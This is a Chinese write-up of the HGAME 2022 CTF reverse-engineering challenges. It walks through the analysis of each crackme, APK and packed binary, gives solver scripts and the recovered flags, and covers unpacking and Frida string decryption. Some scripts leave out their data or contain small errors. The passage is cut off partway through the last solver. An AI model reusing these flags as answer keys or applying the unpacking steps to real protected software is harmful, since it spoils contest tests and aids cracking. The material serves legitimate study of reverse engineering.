Hgame2022-ReverseWriteUp

这是2022年HGAME比赛的REVERSE复现,其中有思路借鉴于官方答案;

Week1:

easyasm

IDA:

main

可以在主要部分找到一个循环运算,而这里的 [si] 的间接地址就代表了输入flag的位置,es是保存了seg001数组的寄存器,这个循环的意思就是:循环28次,每次交换输入字符的前4位和后4位,最后异或23得到seg001的值;

按照这个思路反向运算写出的C语言:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<stdio.h>

int main()
{
unsigned int out[28] = {
0x91, 0x61, 0x01, 0xC1, 0x41, 0xA0, 0x60, 0x41, 0xD1, 0x21, 0x14, 0xC1, 0x41, 0xE2, 0x50, 0xE1,
0xE2, 0x54, 0x20, 0xC1, 0xE2, 0x60, 0x14, 0x30, 0xD1, 0x51, 0xC0, 0x17
}; //seg001数组
unsigned int i;
unsigned int in[28] = {0};
unsigned int a,b;
unsigned char an[28] = {0};
for(i = 0;i<28;i++) //运算
{
out[i] = out[i] ^ 23;
a = out[i] >> 4;
b = out[i] & 0xF;
b = b << 4;
in[i] = a + b;
}
for(i = 0;i<28;i++) //换ASCII
{
an[i] = in[i];
}
printf("%s",an);
return 0;
}

运行后得到flag:hgame{welc0me_to_4sm_w0rld}

creakme

IDA:

main

一来可以发现一个类似于base64的码表,但再看算法,发现并不是base64;

经过这个for运算后,会让运算后的值与v11进行比较;

所以解题思路就是去逆向这个for循环,但写出解题代码后发现并不正确;

最有意思的原因是仔细看v10,它的定义是_DWORD,也就是32位,运算中出现的v3也是32位;

所以让所有运算的数据成为32位的,再写代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include<stdio.h>

int main()
{
unsigned int Table[17] = {
0x44434241, 0x48474645, 0x4C4B4A49, 0x504F4E4D, 0x54535251, 0x58575655, 0x62615A59, 0x66656463,
0x6A696867, 0x6E6D6C6B, 0x7271706F, 0x76757473, 0x7A797877, 0x33323130, 0x37363534, 0x2F2B3938,
0x0000003D //v10
};
unsigned int out[8] = {
0x48D93488, 0x030C144C, 0x52EB78C2, 0xED9CE5ED, 0xAE1FEDE6, 0xBA5A126D, 0xCF9284AA, 0x65E0F2E3 }; //v11
int i,c,j;
unsigned int a,b;

i = 0, c = 0x12345678 * 33;
for(i=0;i<7;i+=2) //运算
{
a = out[i];
b = out[i+1];
j = 32;
do
{
c -= 0x12345678;
b -= c ^ (c + a) ^ (Table[0] + 16 * a) ^ (Table[1] + (a >> 5));
a -= c ^ (c + b) ^ (Table[2] + 16 * b) ^ (Table[3] + (b >> 5));
--j;
}
while(j);
c = 0x12345678 * 33;
out[i] = a;
out[i+1] = b;
}
for(i=0;i<8;i++) //输出hex
{
printf("%X ",out[i]);
}
return 0;
}

输出后的hex转换为ascii后发现也不对,但很明显这就是flag的值:

1
2
HEX 6D616768 34487B65 5F797070 34633476 6E306974 7D21 0 0
flag 'magh4H{e_ypp4c4vn0it}!'

之后发现原因是小端序排列的原因;

调整下顺序便可以得到flag:hgame{H4ppy_v4c4ti0n!}

Flag Checker

这是个安卓apk,用jeb分析:

RC4

点进flag checker的MainActivity里,会发现有一个encrypt方法,使用了标准RC4加密;

main

之后出现了主函数,使用 ‘carol’ 做密钥来RC4加密,之后可以看到Base64的字样,那么说明使用了base64加密;

最后用两次加密的结果与 mg6CI 开头的那个字符串比较相同与否;

那么就可以反着逆,先解base64,再解RC4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import base64

Sbox = [0] * 256

def rc4_init(s, key, len):
k = [0] * 256
j = 0
for i in range(len):
key[i] = ord(key[i])
for i in range(256):
s[i] = i
k[i] = key[i%len]
for i in range(256):
j = (j+s[i]+k[i])%256
tmp = s[i]
s[i] = s[j]
s[j] = tmp

def rc4_crypt(s, data, len):
i = 0
j = 0
t = 0
for k in range(len):
i = (i+1)%256
j = (j+s[i])%256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
t = (s[i]+s[j])%256
data[k] = data[k] ^ s[t]

out = 'mg6CITV6GEaFDTYnObFmENOAVjKcQmGncF90WhqvCFyhhsyqq1s='
out = base64.b64decode(out)
out = list(out)
key = 'carol'
key = list(key)
rc4_init(Sbox,key,len(key))
rc4_crypt(Sbox,out,len(out))
for i in range(len(out)):
out[i] = chr(out[i])
out = ''.join(out)
print(out)

运行后得到flag:hgame{weLC0ME_To-tHE_WORLD_oF-AnDr0|D}

猫头鹰是不是猫

IDA:

function

最左边是main函数,右上是sub_55B565CA524E,右下是crypto;

一上来就会运行两次右上的函数,效果是用0,和1打印出猫和猫头鹰的样子(解题没什么用);

之后会让输入长度为64的字符串,将字符串经过crypto函数过后加密,加密后与cmp数组比较与否;

这里可以说明一下:cat,owl都是16384字节的数组,也就是4096 * 4;cmp是256字节的数组,也就是64 *4;

重点在于crypto函数,先后两次用sub_55B565CA5347函数与cat和owl两个数组参数将output变量加密;

进入sub_55B565CA5347函数:

sub_55B565CA5347

首先是经过第一个嵌套循环将输入的cat或者owl数组的每个数据都除10;

之后经过第二个嵌套函数将64个输入的字符,分别每个字符与对应的cat或者owl数相乘,再把64次运算的结果加在一起;

这样的一次总和,就成为了新的output数组里的一个字符;而注意这个函数将运算结果ans换到output里的时候,output数组下标有个4*n,这说明output最后的结果是DWORD类型的,也就是单个数据32位,一共64个数据;这也和256个字节(也就是256 * 8 = 2048 = 32 * 64(单位是位))的cmp比较数组对的上号;

所以让cmp数组变为DWORD型数据,先经过owl输入的运算,再经过cat输入的运算,最后得到输入的64个字符;

这样一看,就会发现:当cmp成为已知实数的时候,在owl输入的运算中,有64个未知数(正着运算前的output),和64组方程(64个未知数分别加上指定常数的和,一共64个);这是一个线性代数,且有唯一解;同理,在cat输入的运算中也是这样;

那么思路就是解两次线性代数,写代码的时候采用z3库解方程;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from z3 import *

cat = [] #cat和owl的数据过于庞大,就不显示出来了,都是DWORD型的,每个数字32位;
owl = []
data = [] #这是cmp已知数据;

for i in range(64): #owl和cat每个数除10;
for j in range(64):
cat[(64*i+j)] = cat[(64*i+j)] / 10
for i in range(64):
for j in range(64):
owl[(64*i+j)] = owl[(64*i+j)] / 10

s = Solver()
so = Solver()
out = [Int('out[%d]' % i) for i in range(64)] #z3设置未知数;
o = [Int('o[%d]' % i) for i in range(64)]

for i in range(64): #解第一组owl的输入方程,有解就会输出64个解;
sum = 0
for j in range(64):
sum = sum + out[j] * owl[(64*j+i)]
s.add(data[i] == sum)
if(s.check()==sat):
print(s.model())

out = [0] * 64
out = [] #输出后的数据再写入,进行第二轮运算;

for i in range(64): #解第二组cat的输入方程,有解就会输出64个解;
sum = 0
for j in range(64):
sum = sum + o[j] * cat[(64*j+i)]
so.add(out[i] == sum)
if(so.check()==sat):
int(so.model())

o = [0] * 64
o = [] #输出后的数据再写入,方便直接显示flag;

for i in range(64): #将运算后的数据换成ascii码输出最后的字符串;
o[i] = chr(o[i])
o = ''.join(o)
print(o)

多次运行补充数据后得到flag:hgame{100011100000110000100000000110001010110000100010011001111}

Week2:

xD MAZE

IDA:

main

一进主函数就能看见关键词的拼接:hgame{ + x + } ;可以通过v3,v4的赋值以及下面的 if 判断推测出x的长度是28;

右图是28个长度的v11循环运算,正好对应了 cin 输入的v11;有四个数字,对应四个方向,不同的方向会导致 j 的不同增长;

左下图是有个maze数组的判断; 如果不是空格(32),或者 j 超出了maze范围,就会失败,否则就成功;这个数组是由4096个 空格 和 # 符号组成;可以把空格想象成可以走的路,而 # 符号是围墙,通过 j 变量来操控人物走迷宫;

那可以写一个简单的迷宫算法,模拟 j 变量走通迷宫,并记录 j 变量如何增长,对应的 v11 输入是怎么样的情况;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
maze = [] #4096个数据太多,不写出来

flag = [0] * 28 #输入的数据
j = 0
i = 0
n = [0] * 28

while(i<28):
if ((maze[j+1]==32)&(n[i]!=1)): #while是主体算法
flag[i] = 3 #每次判断四个方向,并用n变量记录这次选的方向
n[i] = 1 #当下一次这条路不通就退回去,并根据上次的n变量不选择上一次的路
j = j + n[i]
i = i + 1
continue
if ((maze[j+8]==32)&(n[i]!=8)):
flag[i] = 2
n[i] = 8
j = j + n[i]
i = i + 1
continue
if ((maze[j+64]==32)&(n[i]!=64)):
flag[i] = 1
n[i] = 64
j = j + n[i]
i = i + 1
continue
if ((maze[j+512]==32)&(n[i]!=512)):
flag[i] = 0
n[i] = 512
j = j + n[i]
i = i + 1
continue
i = i - 1
j = j - n[i]

for i in range(28): #while后就把flag都找出来了,下面在做字符串转换,以方便打印flag
if(flag[i]==0):
flag[i] = 48
if(flag[i]==1):
flag[i] = 49
if(flag[i]==2):
flag[i] = 50
if(flag[i]==3):
flag[i] = 51

for i in range(28):
flag[i] = chr(flag[i])

flag = ''.join(flag)
flag = 'hgame{' + flag + '}'

print(flag)

运行后得到flag:hgame{3120113031203203222231003011}

upx magic 0

这道题很怪,它的题目是和upx压缩保护有关,但用IDA并没有发现这是个包装程序;

IDA分析:

function

进入start函数后,可以找到一个叫 sub_400BBD 的函数,进入后,发现这就是要找的目标函数(右图);

输入32个字符,用输入的字符进行for运算,最后变成chan变量;

然后用chan变量和v14变量比较与否;那么可以用给的v14变量通过for的逆运算算回输入的字符;或者爆破;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
d = [0] * 33 #输入的data

p = [0x00008D68, 0x00009D49, 0x00002A12, 0x0000AB1A, 0x0000CBDC, 0x0000B92B, 0x00002E32, 0x00009F59, 0x0000DDCD, 0x00009D49, 0x0000A90A, 0x00000E70, 0x0000F5CF, 0x00000A50, 0x00005AF5, 0x0000FF9F, 0x00009F59, 0x0000BD0B, 0x000058E5, 0x00003823, 0x0000BF1B, 0x000078A7, 0x0000AB1A, 0x000048C4, 0x0000A90A, 0x00002C22, 0x00009F59, 0x00005CC5, 0x00005ED5, 0x000078A7, 0x00002672, 0x00005695,0]

j = 30 #p是已知变量v14
i = 0

while(i<32):
while(j<128): #使用爆破找 30 ~ 128 之间满足算法的数字;
d[i] = j
v = d[i] << 8
for k in range(8):
if((v&0x8000)!=0):
v = (2*v) ^ 0x1021
else:
v = 2*v
if(p[i] == v & 0xffff): # &运算规范位数
i = i + 1
j = 30
else:
j = j + 1

d[32] = 0 #为打印flag字符串做准备
d.remove(0)
for i in range(32):
d[i] = chr(d[i])

d = ''.join(d)
d = 'hgame{' + d + '}'
print(d)

运行后得到flag:hgame{noW_YOukoNw-UPxmAG|C_@Nd~crC16}

fake shell

运行程序后,是一个模仿 Linux 终端的玩意儿,打开flag.txt需要sudo密码:

shell

没办法就开IDA:

function

从左往右看,第一张图是main函数,找到使用sudo命令后运行的函数:sub_559D9EE5B9E9;

第二张是进入这个函数后的内容,可以看到需要输入密码v4,32个字符长度,然后进入加密函数:rc4;

第三张就是rc4的加密了,先用rc4_init函数和已知密钥:aHappyhg4me字符串创建Sbox,再用rc4_crypto加密输入数据,最后用加密后的数据与v7变量比较与否;

因为rc4加密的异或运算,导致加密后的数据再用原函数加密一遍就可以变回加密前的数据;

所以代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
data = [0xB6, 0x94, 0xFA, 0x8F, 0x3D, 0x5F, 0xB2, 0xE0, 0xEA, 0x0F, 0xD2, 0x66, 0x98, 0x6C, 0x9D, 0xE7, 0x1B, 0x08, 0x40, 0x71, 0xC5, 0xBE, 0x6F, 0x6D, 0x7C, 0x7B, 0x09, 0x8D, 0xA8, 0xBD, 0xF3, 0xF6]
box = [0x6C, 0xA8, 0x54, 0xD3, 0xD1, 0xFC, 0x87, 0x2F, 0xF7, 0xE4, 0x74, 0x5F, 0x1B, 0xA4, 0x22, 0x6A, 0xEF, 0x17, 0x4F, 0x04, 0xB4, 0x3D, 0x40, 0x36, 0xA0, 0x32, 0x5B, 0x1D, 0x8A, 0x57, 0xAD, 0xFD, 0x7D, 0xF6, 0x48, 0xE2, 0x7F, 0xD4, 0x1A, 0x1F, 0x15, 0x9F, 0xC0, 0x89, 0xBB, 0x3F, 0x3A, 0x73, 0x28, 0x00, 0x1C, 0xA3, 0x2E, 0x6D, 0x68, 0xC5, 0x0E, 0x18, 0x90, 0x0D, 0x0A, 0xD6, 0x4D, 0x45, 0xFF, 0xDB, 0x11, 0xDA, 0x95, 0x53, 0x5A, 0x72, 0x2D, 0xA1, 0x0F, 0x50, 0x7A, 0xB0, 0xBC, 0x8D, 0xBA, 0xCC, 0x56, 0x88, 0xCF, 0xCB, 0xC7, 0x26, 0x80, 0x42, 0x9E, 0x7C, 0x07, 0xF0, 0xE9, 0x49, 0xDF, 0x71, 0x98, 0x6B, 0xB1, 0xB5, 0xE7, 0xF8, 0x67, 0x24, 0xBF, 0x46, 0x77, 0xE5, 0x8E, 0x0B, 0x29, 0x63, 0x85, 0x34, 0x62, 0xD2, 0x4E, 0xED, 0xA7, 0x41, 0x8C, 0xD7, 0x43, 0x60, 0xD9, 0xB8, 0xEC, 0xD5, 0xB6, 0x92, 0x08, 0xC1, 0x5D, 0x86, 0x0C, 0x44, 0x7B, 0xCA, 0xAB, 0xE0, 0x96, 0x83, 0x2A, 0x3C, 0xB7, 0xDD, 0xDC, 0x3B, 0x19, 0x99, 0xD0, 0xA9, 0xDE, 0xC6, 0x02, 0xD8, 0x5C, 0xF3, 0x52, 0x9B, 0x09, 0x64, 0x30, 0x91, 0xC9, 0xC3, 0xF2, 0x2C, 0x25, 0xE6, 0x9C, 0xEE, 0x10, 0x13, 0x81, 0x20, 0x59, 0xFE, 0xFB, 0xAA, 0xCD, 0x16, 0x27, 0x76, 0xFA, 0x33, 0xB9, 0xE1, 0x1E, 0xF5, 0x4C, 0xEA, 0xF1, 0xBE, 0xF4, 0x05, 0xA2, 0x93, 0x2B, 0xA5, 0x12, 0xA6, 0x21, 0xE8, 0x51, 0xCE, 0x79, 0x6F, 0x66, 0x9D, 0x84, 0x01, 0x5E, 0x8F, 0x6E, 0x9A, 0x3E, 0xAE, 0x7E, 0x06, 0x14, 0xEB, 0x82, 0xE3, 0x97, 0x69, 0x35, 0x23, 0x61, 0xB2, 0xB3, 0x94, 0x03, 0x39, 0xC4, 0x47, 0xBD, 0xAC, 0x78, 0x55, 0xAF, 0x37, 0xC2, 0x4A, 0x70, 0x65, 0x75, 0x8B, 0x31, 0xC8, 0x4B, 0x38, 0x58, 0xF9]
#data是v7比较数据,box是偷懒调试经过rc4_init函数后直接复制出来用
v5 =0
v6 = 0

for i in range(32): #rc4加密主体
v5 = (v5+1) % 256
v6 = (v6+box[v5]) % 256
v4 = box[v5]
box[v5] = box[v6]
box[v6] = v4
data[i] = data[i] ^ box[(box[v5]+box[v6])%256]

for i in range(32): #变字符串得到sudo密码
data[i] = chr(data[i])
data = ''.join(data)
print(data)

结果发现sudo密码就是flag:hgame{s0meth1ng_run_bef0r_m4in?}

creakme2

IDA:

main

这是main函数,首先定义了一个num数组,然后输入32个字符,接着经过四次crypto加密,而从定义变量可以看出,input只有8个长度,所以这四个加密的意义就是把32个字符分成了四分,每份8个字符进入crypto单独加密,之后再拼凑在一起;最后把运算出来的字符串与cmp变量比较与否;

再来看crypto函数:

crypto

输入的a1是稳定的32,用于循环控轮次;输入的a2是8个字符;输入的a3是num数组;

这个for运算,是让前4个字符用后4个字符和num以及v4运算得到;让后4个字符通过变化后的前4个字符和v4以及不变的num运算得到;这个过程持续32轮;

那么可以倒着来算,把数据算回来;用给定的比较数组cmp当已知,先算后4个字符,因为变化后的v4和前4个字符是已知的,就可以减回去;之后减一遍v4,就可以用还原的后4个字符与v4算前4个字符了,然后持续32轮;

这个算法肯定没问题,但就是算不对,因为最终的v4应该变为0,但运算结果v4却不是0;

是什么原因呢?打开汇编层代码进行查找,于是就发现了一个神奇的东西:

asm

这一部分是翻译为了 v4 += 9E3779B1;[rsp+58h+var_38] 这个地址,代表的就是v4;

可以看出上半部分的运算是没问题的,确实翻译成伪代码就是这个意思;但之后它把eax右移31位(这个时候eax等于v4)得到符号位,然后传送给ecx,之后用ecx来做除法,如果这个数是正数,那么符号位为0,这样算肯定有问题;所以就会有异常处理;

一旦出现了异常处理,就会使得下半部分的运算进行,把v4异或上0x1234567;这就是为什么光看伪代码找不出错误原因的地方;按照它这个思路,可以写出如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include<stdio.h>

unsigned int data[8] = {
0x457E62CF, 0x9537896C, 0x1F7E7F72, 0xF7A073D8, 0x8E996868, 0x40AFAF99, 0x0F990E34, 0x196F4086
}; //data是cmp比较数据
unsigned int num[10] = {1,2,3,4,5,6,7,8,9,0};
unsigned int v4;
unsigned int v5,v6;
unsigned int sign; //表示符号的数

int main()
{
int i,j;
int box[32];
unsigned int flag[32];
char ascii[33];
for(j=0;j<8;j+=2) //分四组运算
{
v5 = data[j];
v6 = data[j+1];
v4 = 0;

for(i=0;i<32;i++) //算出v4的32轮中的情况并记录,以方便倒着算;
{
v4 += 0x9E3779B1;

sign = v4 >> 31;

if(sign==0) //模拟异常处理
{
v4 ^= 0x1234567;
}
box[i] = v4;
}

for(i=31;i>=0;i--) //倒着算
{
v6 -= (num[(box[i] >> 11) & 3] + box[i]) ^ (v5 + ((v5 >> 5) ^ (16 * v5)));

v5 -= (num[box[i-1] & 3] + box[i-1]) ^ (v6 + ((v6 >> 5) ^ (16 * v6)));
}

data[j] = v5;
data[j+1] = v6;
}

for(i=0;i<32;i++) //下面在为输出flag字符串准备,因为data是DWORD型数组
{
flag[i] = (data[i/4] << 8*(4-((i+1)%4))) >> 24;
}
for(i=0;i<32;i++)
{
ascii[i] = flag[i];
}
ascii[32] = '\0';
printf("%s",ascii);
return 0;
}

运行后得到flag:hgame{SEH_s0und5_50_1ntere5ting}

upx magic 1

这个是用upx加壳的内容,用checksec就可以知道,但upx -d 命令对它没用;

upx1

用十六进制查看器搜索upx后发现原标准标记upx! 被改成了upx? 所以搜搜机器没有发现它是一个upx加壳;

将改过的标记改回来后脱壳:

upx2

之后用IDA:

function

左上是start起始位置,进入sub_400B8D函数,可以从文中知道这个就是main函数;

可以看出,输入的flag长度需要为37,然后进行for循环的运算,之后与v14进行比较与否,这系列操作就和upx0一模一样了;

解题代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
d = [0] * 38 #输入的data

p = [0x00008D68, 0x00009D49, 0x00002A12, 0x0000AB1A, 0x0000CBDC, 0x0000B92B, 0x00002E32, 0x00009F59, 0x0000DDCD, 0x00009D49, 0x0000A90A, 0x00000E70, 0x0000F5CF, 0x00005ED5, 0x00003C03, 0x00007C87, 0x00002672, 0x0000AB1A, 0x00000A50, 0x00005AF5, 0x0000FF9F, 0x00009F59, 0x0000BD0B, 0x000058E5, 0x00003823, 0x0000BF1B, 0x000078A7, 0x0000AB1A, 0x000048C4, 0x0000A90A, 0x00002C22, 0x00009F59, 0x00005CC5, 0x00005ED5, 0x000078A7, 0x00002672, 0x00005695,0]

j = 30 #p是已知变量v14
i = 0

while(i<37):
while(j<128): #使用爆破找 30 ~ 128 之间满足算法的数字;
d[i] = j
v = d[i] << 8
for k in range(8):
if((v&0x8000)!=0):
v = (2*v) ^ 0x1021
else:
v = 2*v
if(p[i] == v & 0xffff): # &运算规范位数
i = i + 1
j = 30
else:
j = j + 1

d[37] = 0 #为打印flag字符串做准备
d.remove(0)
for i in range(37):
d[i] = chr(d[i])

d = ''.join(d)
d = 'hgame{' + d + '}'
print(d)

运行后得到flag:hgame{noW_YOukoNw-rea1_UPxmAG|C_@Nd~crC16}

Week3:

Answer’s Windows

这是个模拟 Windows面板,需要输入密码;

可以想到用IDA搜索显示正确或错误的句子,而IDA里搜不出中文,可以想到是用了图片;

locked

使用IDA搜索:true,right,false,lose,win,wrong 这些特殊字样,会发现两个图片叫做right和wrong,跳转之后,会发现if的比较字符串:

main

而根据静态分析和动态调试可以发现它将输入的字符串进行了base64加密,又因为反调试将调试中的base64码表换成了错误的,导致怎么也得不到比较用的字符串;但能够发现比较数据有常规base64所没有的奇怪符号;于是去字符串列表里搜索123456789(赌码表含连续数字)连着的数据,可以发现所需要的码表;

于是有了下面两组数据:

1
2
3
//  ;'>B<76\=82@-8.@=T"@-7ZU:8*F=X2J<G>@=W^@-8.@9D2T:49U@1aa  比较数据

// !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a 码表

为什么码表以a结尾呢?因为比较数据后面跟着两个a,和原base64加密结果后面跟= 异曲同工;

还有个坑,可以看到图中的比较数据和得出的比较数据有所不同,原因在于 \ 是转义符,需要消掉解密,在没消掉之前,可以得到解除的明文是hgame开头,可后面是乱码;

此时解密得到flag:hgame{qt_1s_s0_1nteresting_so_1s_b4se64}

creakme3

这是PCC架构的文件,和以往的arm,x86有所不同,由PowerPC编译,所以IDA不能分析,linux不能运行;

此题有提示,使用Ghidra分析便可得知主体逻辑;

Ghidra下载:https://github.com/NationalSecurityAgency/ghidra

此时可以看到main的逻辑:

main

可以看到最中间的while()函数,他在给关于a的偏移进行排序,点击进入a后,发现是.data节中的一些数据,它们有规律:每8个字节为一个单位,初始是ascii码范围的hex值,加上4个字节后,变为一个比较大的数字;而在中间的while()函数中,排序是乘上8加了4,所以在利用较大的数字比大小,而最后putchar()进行输出,只是乘上了8,可以想到这个main函数的逻辑便是由每个单位的较大数字排序,最后输出排序后的ascii码,这应该便是flag了;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include<stdio.h>

struct ai //chascii码,index代表较大数字
{
int ch;
int index;
};
struct ai a[89] =
{
{ 48, 20093 }, { 48, 26557 }, { 48, 31304 }, { 48, 33442 }, { 48, 37694 }, { 49, 39960 }, { 50, 23295 }, { 50, 27863 }, { 50, 42698 }, { 50, 48505 }, { 50, 52925 }, { 51, 12874 }, { 51, 12946 }, { 51, 14597 }, { 51, 17041 }, { 51, 23262 }, { 51, 28319 }, { 51, 42282 }, { 51, 48693 }, { 51, 52067 }, { 53, 32571 }, { 56, 14612 }, { 56, 45741 }, { 57, 14554 }, { 57, 20048 }, { 57, 27138 }, { 57, 45327 }, { 66, 30949 }, { 95, 32502 }, { 95, 35235 }, { 95, 36541 }, { 95, 38371 }, { 97, 29658 }, { 100, 21388 }, { 100, 25403 }, { 100, 40604 }, { 100, 46987 }, { 100, 51302 }, { 101, 12974 }, { 101, 30329 }, { 102, 10983 }, { 102, 19818 }, { 102, 22280 }, { 102, 26128 }, { 102, 41560 }, { 102, 47116 }, { 102, 51333 }, { 103, 28938 }, { 103, 31988 }, { 104, 16246 }, { 104, 28715 }, { 104, 41966 }, { 104, 44368 }, { 104, 47815 }, { 105, 16420 }, { 105, 35362 }, { 105, 49237 }, { 106, 11090 }, { 106, 50823 }, { 107, 24320 }, { 107, 50199 }, { 108, 24962 }, { 109, 30171 }, { 110, 15457 }, { 110, 18838 }, { 110, 24001 }, { 111, 11638 }, { 111, 32023 }, { 111, 43291 }, { 112, 39661 }, { 114, 17872 }, { 114, 33895 }, { 114, 43869 }, { 115, 20611 }, { 115, 25122 }, { 115, 36243 }, { 115, 37434 }, { 115, 38686 }, { 115, 46266 }, { 115, 51077 }, { 116, 13656 }, { 116, 34493 }, { 116, 38712 }, { 117, 14096 }, { 117, 38777 }, { 119, 12095 }, { 119, 17629 }, { 123, 30945 }, { 125, 40770 }
};

int main()
{
for(int i=0;i<89;i++)
{
for(int j=0;j<89;j++)
{
if(a[i].index<a[j].index)
{
struct ai temp = a[i];
a[i] = a[j];
a[j] = temp;
}
}
}
for(int i=0;i<89;i++)
{
putchar(a[i].ch);
}
return 0;
}

运行后得到flag:hgame{B0go_50rt_is_s0_stup1d}

hardened

使用jeb分析发现只有SecShell,应该是被加壳了;

使用BlackDex进行脱壳;(下载地址:https://github.com/CodingGay/BlackDex)

脱壳后会在java代码中发现加载了 libenc.so 库,调用了两个本地方法,其中加密部分就在这个库里;

查看 AES 加密 key、iv 的引用可以发现混淆加密的部分;

unshell

字符串混淆的解密可以用frida;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//script.js
function print_string(addr) {
var base_hello_jni = Module.findBaseAddress("libenc.so");
var addr_str = base_hello_jni.add(addr);
console.log("addr:", addr, " ", ptr(addr_str).readCString());
}

/* frida -U -f com.example.secretsong -l C:\Users\chz\Desktop\script.js --no-pause
____
/ _ | Frida 14.2.12 - A world-class dynamic instrumentation toolkit | (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit . . . .
. . . . More info at https://frida.re/docs/home/
Spawned `com.example.hardened`. Resuming main thread!
[M5 Note::com.example.hardened]-> print_string(0x31070)
addr: 200816 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/= [M5 Note::com.example.hardened]-> print_string(0x31020)
addr: 200736 JUST_A_NORMAL_KEY_FOR_YOU_TO_DEC
[M5 Note::com.example.hardened]-> print_string(0x31050)
addr: 200784 you_find_me!!!!! */

之后异或回去就能解字符串;

解密得到flag:hgame{cONGraTUl4T|0N5!N0w_yoU_C4n_eN?OythEMUsIc}

decrypt

fishman

原码中用了 init 和 check 函数;

使用IDA分析fishman库,字符串搜索 init 以及 check:

init

可以找到init和check的函数入口,进入过后,可以在init函数里发现一些运算,根据搜索运算所给的数据和格式,可以知道这是blowfish加密;

此时根据加密规则可以找到,密钥就是aLetUD:LET_U_D;

而比较数据就存在于check函数里,果不其然,会输出win或者lose:

check

于是使用blowfish的解密库解密:(blowfish库下载:https://github.com/xtbanban/blowfish)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<stdio.h>
#include "blowfish.h"

/*
需要加入自带 blowfish.C 代码
*/

void main()
{
long long out[4] = {
-5409505419495256385LL,
1428749241468231806LL,
6435326525834898959LL,
2019834963917240364LL
};
BLOWFISH_CTX ctx;

int i;
Blowfish_Init(&ctx, (uint8_t *)"LET_U_D", 7); //初始密钥
for(i=0; i<4; i++)
{
Blowfish_Decrypt(&ctx, (char *)out + 8*i, (char *)out + 8*i + 4);
}
printf("%s\n",(char *)out);
}

运行后得到flag:hgame{D0_y0u_re411V_11k3_9Vthon}

Week4:

( WOW )

IDA分析:

main

可以看到main函数里先输入容纳40长度的内容,然后进行一次for循环里的加密,从input变成output;

之后与比较数据比较与否,输出错误或者正确,但后面还有个for循环,后面这个是把output输入,变成input,猜想一下它可能是解密;

尝试将output直接修改为cmp的数据,查看解密内容:

answer

由此可得flag:hgame{WOWOW_h@ppy_n3w_ye4r_2022}

补充:这个题的加密是不常规的DES加密,DES加密为对称加密,即一组密钥即可完成加解密;核心思想为扩散混淆,扩散即为将明文的1个字符扩展为密文中的多个;混淆即为算法多层,让密钥和密文的关联更难找到;

server

IDA:

main

可以看到函数列表里有个叫 main_main 的主函数,说明这是go语言;

其中还有个函数叫做 main_encrypt ,既然是加密就应该有数据才对,打开汇编模式,可以发现伪代码中看不到的数据;

根据汇编更改 math_big函数的输入参数:

1
__int64 __usercall math_big___ptr_Int__SetString@<rax>(char *str@<rbx>, __int64 a2@<rax>, int a3@<edi>, int a4@<ecx>)

可以变为:

change

也可以用同样的原理,右键其他无参函数,点 set call type ,然后更改,最后可以修复encrypt函数看到原理:

for and XOR

发现在经过之前的加密后,进行了异或;且长度为153;

总之,根据标记符号函数名称和数据判断,这是RSA加密加上异或;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import * 
#pip install pycryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple
import gmpy2
#pip install gmpy2

a = [99,85,4,3,5,5,5,3,7,7,2,8,8,11,1,2,10,4,2,13,8,9,12,9,4,13,8,0,14,0,15,13,14,10,2, 2,1,7,3,5,6,4,6,7,6,2,2,5,3,3,9,6,0,11,13,11,0,2,3,8,3,11,7,1,11,5,14,5,0,10,14,15, 13,7,13,7,14,1,15,1,11,5,6,2,12,6,10,4,1,7,4,2,6,3,6,12,5,12,3,12,6,0,4,15,2,14,7,0 ,14,14,12,4,3,4,2,0,0,2,6,2,3,6,4,4,4,7,1,2,3,9,2,12,8,1,12,3,12,2,0,3,14,3,14,12,9 ,1,7,15,5,7,2,2,4]

for j in range(256): # 爆破
num = j
